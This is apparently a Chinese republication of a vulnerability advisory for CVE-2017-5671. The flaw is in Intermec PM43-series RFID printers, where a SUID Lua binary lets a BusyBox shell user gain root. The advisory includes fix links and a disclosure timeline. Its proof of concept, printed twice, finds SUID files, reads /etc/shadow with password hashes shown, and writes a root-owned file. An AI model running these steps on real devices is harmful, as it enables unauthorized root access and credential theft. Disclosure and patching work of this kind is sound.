CVE-2017-5671:Intermec工业RFID打印机使用BusyBox越狱获得本地root权限CVE-2017-5671

固件下载:

http://www.intermec.com/products/prtrpm43a/downloads.aspx

环境:

型号:PM43 RFID工业打印机 固件版本:10.10.011406 内核:Linux PM43-xxxxxxx 2.6.31#1 PREEMPT Mon Oct 26 10:49:59 SGT 2015 armv5tejl GNU / Linux #CVSS:7.5(CVSS:3.0 / AV:L / AC:H / PR:L / UI:R / S:C / C:H / I:H / A:H) #OVE ID:OVE-20170131-0001 #CVE ID:CVE-2017-5671 #OSVDB ID:n / a

受影响的产品:

PM23,PM42,PM43,PC23,PC43,PD43和PC42打印机

修复

使用下面的链接下载新的固件版本: http://epsfiles.intermec.com/eps_files/eps_download/Firmware_P10.11.013310.zip

# 发行公告: http://apps.intermec.com/downloads/eps_download/Firmware%20Release%20Notes%20x10_11_013310.pdf

产品

PM43 / PM43c中档工业RFID打印机是理想选择。

简介

如果服务器使用不正确文件权限,可以获得完整的root权限、PM43工业打印机权限以及管理员帐户, 它还允许获得完整权限,导致由于系统上的Busybox越狱而造成访问root。

说明

Lua二进制权限太大,而这是一个SUID,它使用以下所述的基本技巧来执行权限提升。

概念证明

一旦攻击者获得系统上的Busybox shell,按以下步骤就可以提升权限:

itadmin@PM43-XXXXXXXXXXX /tmp$ find / -perm -g=s -type f 2>/dev/null
/bin/busybox
/usr/bin/cfg
/usr/bin/lua <----- Lua binary with SUID perm.
/usr/bin/httpd_restore
/usr/bin/ikev2
/usr/bin/pwauth
/usr/bin/functest
/usr/bin/imecutil
/usr/bin/httpd_fwupgrade
/usr/sbin/setkey

然后,我们尝试使用Lua执行一个shell命令,但是这似乎是通过Busybox shell执行非root权限的:

itadmin@PM43-XXXXXXXXXXX /tmp$ /usr/bin/lua
Lua 5.1.4  Copyright (C) 1994-2008 Lua.org, PUC-Rio
> os.execute("id")
uid=1(itadmin) gid=1(itadmin) groups=1(itadmin),2(admin),3(user)

因此,我们可以在文件系统上读取/写入具有root权限的文件,而不受任何限制(这样我们将能够修改shadow file以便以后以root身份登录):

// in the Lua interpreter:

> f=io.open("/etc/shadow","rb")
> print(f)
file (0x17af0)
> c=f:read "*a"
> print(c)
root:!$1$XPCuiq25$IvWw/kKeomOyQIee8XfTb1:11851:0:99999:7:::
admin:$1$Ma/qTlIw$PPPTgRVCnkqcDQxjMBtsC0:11851:0:99999:7:::
itadmin:$1$kcHXJUjT$OIgLfTDgaEAlTbHRZFPsj.:11851:0:99999:7:::
user::11851:0:99999:7:::
ftp:*:11851:0:99999:7:::
nobody:*:11851:0:99999:7:::
lighttpd:x:1000:1000:Linux User,,,:/home/lighttpd:/bin/sh
 
We conclude this "proof of concept" by writing a file on the filesystem which demonstrate the possibilities that we now have using this kind of code:

fp = io.popen("akerva", "w")
fp:write(anything)
fp:close()

That gave us the following output:

itadmin@PM43-XXXXXXXXXXX /tmp$ cat akerva
AKERVA r00t
itadmin@PM43-XXXXXXXXXXX /tmp$ ls -alsh akerva
   4 -rw-rw-r--    1 root     root           12 Jan 25 07:12 akerva

我们通过在文件系统上编写一个文件来证明这个“概念证明”,证明了我们现在使用这种代码的可能性:

fp = io.popen("akerva", "w")
fp:write(anything)
fp:close()

反馈给我们以下输出

itadmin@PM43-XXXXXXXXXXX /tmp$ cat akerva
AKERVA r00t
itadmin@PM43-XXXXXXXXXXX /tmp$ ls -alsh akerva
   4 -rw-rw-r--    1 root     root           12 Jan 25 07:12 akerva

如上面的文本所述,然后我们重写了“etc / shadow”文件,我们验证了即使Busybox 1.15.0(2009版本)存在,也可以在文件系统上获得完全root访问权,绕过 它的shell限制(越狱)。

建议

AKERVA的Pentesters建议通过修改Lua二进制权限(是否必需的SUID位)来修复它,这是在修补固件中完成的。 现在可以使用安全解决方案来缓解此问题,如本开始时所描述。

版本受影响

此问题会影响固件版本10.10.011406,但在看过最新版本说明之后,它似乎也会影响更新固件之前发布的所有版本。

时间线

  • January 19th, 2017: Vulnerability identification
  • January 27th, 2017: First contact with the editor (Honeywell)
  • January 31th, 2017: Advisory submission to Honeywell security team and CVE id request
  • February 1st, 2017: CVE id attributed by MITRE even if the vendor is not normally considered a priority for CVE by MITRE
  • February 6th, 2017: Vendor confirm the vulnerability
  • February 16th, 2017: Vendor inform that the fix is ready (They also proposed us to test it prior to release)
  • March 12th, 2017: New firmware version available
  • March 28th, 2017: Public advisory released

 

*来源:KMKZ,MottoIN小编编译发布,转载请注明来自MottoIN

原创文章,作者:Jarry,如若转载,请注明出处:http://www.mottoin.com/vuls/99325.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code